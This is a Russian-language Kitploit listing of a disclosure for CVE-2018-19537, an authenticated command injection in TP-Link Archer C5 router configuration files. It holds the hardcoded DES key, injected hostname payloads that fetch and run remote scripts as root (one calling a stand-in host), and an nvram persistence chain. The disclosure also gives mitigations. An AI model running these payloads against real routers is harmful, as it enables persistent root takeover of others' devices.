Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
TP-Link-ArcherC5-RCE — CVE-2018-19537 | Kitploit
Инструменты/GitHubGitHub/jackdoan/tp-link-archerc5-rce
Безопасность встроенных системБезопасность IoTМеханизмы персистентностиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеАппаратная БезопасностьРазработка Полезной Нагрузки
2067 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHubjackdoan/tp-link-archerc5-rce

TP-Link-ArcherC5-RCE

CVE-2018-19537

Репозиторий
Поделиться

TP-Link Archer C5: аутентифицированное RCE через загрузку вредоносного файла конфигурации (CVE-2018-19537)

Описание

Во всех опубликованных версиях прошивки маршрутизатора TP-Link Archer C5 существует аутентифицированная уязвимость удаленного выполнения кода (RCE). Загрузив специально созданный файл конфигурации, злоумышленник может внедрить команды ОС, выполняемые с привилегиями root.

Маршрутизатор Archer C5 позволяет администраторам сохранять текущие параметры конфигурации в файл и восстанавливать параметры из файла. Эти параметры, похоже, должным образом очищаются, когда пользователь пытается задать их через веб-интерфейс. Однако они не очищаются должным образом, когда задаются из файла конфигурации. В частности, мы внедрили команды ОС через параметр wan_dyn_hostname 1 <name> в загружаемом файле конфигурации. Другие параметры также могут быть уязвимы.

Методология

Действительный файл конфигурации можно загрузить из меню «Backup & Restore» в веб-интерфейсе маршрутизатора. Следующий HTTP-запрос загрузит резервную копию текущей конфигурации маршрутизатора:

root@kitploit:~
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1

Ответ содержит файл «config.bin» — файл конфигурации, с которым мы будем работать.

Файлы конфигурации обфусцированы с помощью DES-шифрования с жестко заданным ключом. Похоже, этот жестко заданный ключ повторно используется во многих продуктах TP-Link. Благодарность Matteo Croce за обнаружение значения этого жестко заданного ключа. http://teknoraver.net/software/hacks/tplink/

Прилагаются два простых скрипта на Python — «binify.py» и «unbinify.py» — для шифрования и дешифрования файлов конфигурации соответственно. Расшифрованный файл конфигурации будет содержать такие параметры:

root@kitploit:~
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0

Мы можем модифицировать этот расшифрованный файл конфигурации, добавив вредоносную команду BusyBox в параметр «wan_dyn_hostname», например так:

root@kitploit:~
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`

Затем мы шифруем новый вредоносный файл конфигурации и загружаем его через веб-интерфейс. Маршрутизатор автоматически перезагрузится. В начале процесса загрузки, когда запускается программа httpd, выполняется наша вредоносная команда BusyBox. Псевдокод соответствующей части httpd выглядит примерно так:

root@kitploit:~
    char hostname[64];
    char to_run[256];
    memcpy(hostname, some_value_somewhere, 63);
    snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
    system(to_run);
    // Continue setting up network interfaces and connectivity

Существует несколько ограничений этого эксплойта, помимо необходимости использовать BusyBox. SSH-сервер Dropbear и telnetd, похоже, не работают через беспроводную сеть, а длина hostname ограничена прошивкой 63 символами. Превышение этого лимита перезаписывает другие настройки и нарушает доступ в интернет. Кроме того, httpd должен вернуться из вызова system(), прежде чем у него появится сетевое подключение (поскольку вызов system(), который мы эксплуатируем, — это тот, что запрашивает наш WAN IP), а корневая файловая система доступна только для чтения. Приведенный выше пример вредоносной команды не сработал бы; httpd не смог бы загрузить URL через wget, так как у него еще нет доступа в интернет, он вернулся бы из вызова system() и продолжил бы работать в обычном режиме.

Итак, на данном этапе мы можем выполнить 63-символьную команду BusyBox в файловой системе только для чтения, не имея простого способа заставить программу дождаться завершения настройки сетевого подключения перед выполнением нашей команды. Мы не можем просто указать ей подождать несколько минут, а затем выполнить команду, потому что вызов system(), в который мы внедряемся, блокирует выполнение.

Однако мы можем сделать следующее: запустить еще один экземпляр httpd на этом этапе выполнения. Этот экземпляр httpd также выполнит этот системный вызов, что приведет к циклу, который будет непрерывно порождать новые экземпляры httpd, но позволит родительским процессам httpd продолжить выполнение и в конечном итоге восстановить сетевое подключение. Чтобы избежать нехватки памяти, мы прерываем этот цикл, проверяя, был ли загружен наш эксплойт.

Доказательство концепции

С учетом вышеуказанных ограничений мы придумали следующий shell-скрипт, который загружает файл из интернета с помощью wget и передает его напрямую в /bin/sh.

root@kitploit:~
    cd /tmp 
    if [ ! -f B ]; then 
        httpd & 
        sleep 15
        wget http://jackdoan.com/B
        /bin/sh B
    fi

Или в одну строку, минифицированный:

root@kitploit:~
    cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi

Этот скрипт имеет огромный размер — 89 символов, поэтому нам нужно загружать его по частям. Но как? Загрузка команды вызывает перезагрузку, а перезагрузка сбрасывает состояние маршрутизатора. Мы поняли, что можем создать собственную переменную NVRAM и ссылаться на нее в последующих командах, чтобы собрать команду, которую в конечном итоге выполним.

Мы использовали уязвимость для внедрения следующих команд и сборки эксплойта:

root@kitploit:~
    ; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
    ; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
    ; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
    ; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit

И наконец, запускаем эксплойт, установив hostname в:

root@kitploit:~
    ; udhcpc; nvram get a | /bin/sh ;

Этот скрипт, хранящийся в NVRAM маршрутизатора, будет выполняться при каждой загрузке, и маршрутизатор будет выглядеть работающим в обычном режиме. В итоге маршрутизатор будет выходить в интернет, загружать файл и запускать его с правами root при каждой загрузке.

Оценка критичности

Как показано, эта уязвимость может быть использована, чтобы заставить маршрутизатор выходить в интернет, загружать полезную нагрузку и запускать ее с привилегиями root. Таким образом, существует высокое воздействие на конфиденциальность, целостность и доступность устройства.

Процесс внедрения команды через параметр wan_dyn_hostname файла конфигурации прост. Обход ограничений этой команды для запуска произвольной полезной нагрузки без нарушения нормальной работы маршрутизатора — умеренно сложная задача.

Эта атака умеренно заметна, поскольку требует как минимум одной перезагрузки устройства. Наш PoC требует 5 последовательных перезагрузок, но сохраняется до сброса устройства к заводским настройкам.

Эта уязвимость может быть использована любым, у кого есть доступ к веб-учетной записи администратора. Таким образом, при конфигурации маршрутизатора по умолчанию она может быть использована через LAN/WLAN-подключение с учетными данными администратора по умолчанию «admin:admin». Эта уязвимость может быть использована удаленно через интернет, если включено удаленное управление. Удаленное управление по умолчанию отключено.

Предлагаемые исправления и решения

  • Пропускать значения, восстанавливаемые из резервной копии конфигурации, через те же функции, которые проверяют допустимость пользовательского ввода из веб-интерфейса
  • Требовать от пользователя установки пароля администратора при настройке маршрутизатора

Комментарии

Эта уязвимость относительно проста, что позволяет предположить, что она, вероятно, уже была обнаружена и использована ранее. Защита от этой атаки также невероятно проста: не используйте пароль администратора по умолчанию. Надежный пароль для веб-учетной записи администратора предотвратит эту атаку. Поскольку ее так легко эксплуатировать и так легко устранить, мы считаем, что полное раскрытие информации отвечает интересам общественности.

В нашем PoC мы выполняли внедрение через параметр «wan_dyn_hostname». Однако файл конфигурации содержит в общей сложности 1190 параметров, многие из которых могут быть подвержены внедрению.

Благодарности

  • Matteo Croce за обнаружение жестко заданного значения ключа 478DA50BF9E3D2CF (http://teknoraver.net/software/hacks/tplink/)
  • TP-Link за предоставление тулчейна в составе их пакета для соблюдения GPL, который позволил нам собрать GDB для их платформы
Скачать инструмент